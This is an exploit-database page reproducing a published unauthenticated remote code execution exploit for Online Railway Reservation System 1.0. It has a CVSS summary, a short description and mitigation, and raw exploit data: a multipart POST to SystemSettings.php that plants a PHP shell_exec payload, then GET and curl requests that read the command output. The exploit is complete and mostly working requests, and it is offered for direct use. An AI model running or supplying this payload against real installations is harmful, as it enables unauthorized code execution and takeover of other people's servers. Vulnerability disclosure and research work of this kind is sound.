header-logo
Suggest Exploit
vendor:
Online Railway Reservation System
by:
Zachary Asher
9.8
CVSS
CRITICAL
Remote Code Execution (RCE)
78
CWE
Product Name: Online Railway Reservation System
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:sourcecodester:online_railway_reservation_system:1.0
Metasploit:
Other Scripts:
Platforms Tested: Online Railway Reservation System 1.0
2022

Online Railway Reservation System 1.0 – Remote Code Execution (RCE) (Unauthenticated)

A vulnerability exists in the Online Railway Reservation System 1.0, which allows an unauthenticated attacker to execute arbitrary code on the vulnerable system. This is achieved by sending a malicious POST request to the SystemSettings.php file, which contains a payload that is executed by the vulnerable system. The attacker can then view the output of the command by sending a GET request to the orrs/ directory.

Mitigation:

The vendor should patch the vulnerability by properly validating user input and sanitizing the data before executing it.
Source

Exploit-DB raw data:

#Exploit Title: Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
#Date: 07/01/2022
#Exploit Author: Zachary Asher
#Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip
#Version: 1.0
#Tested on: Online Railway Reservation System 1.0

=====================================================================================================================================
Command Execution
=====================================================================================================================================
POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447
Content-Length: 164

-----------------------------41914587873111789572282654447
Content-Disposition: form-data; name="content[welcome]"
<?php echo shell_exec('id -a'); ?>

=====================================================================================================================================
View Output
=====================================================================================================================================
GET /orrs/ HTTP/1.1
Host: localhost
Content-Length: 2

=====================================================================================================================================
View Only STDOUT
=====================================================================================================================================
curl -i -s -k -X $'GET' \
    -H $'Host: localhost' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost/orrs/'| sed -n '/\"welcome-content\"/,/<\/div/p' | grep -v '<'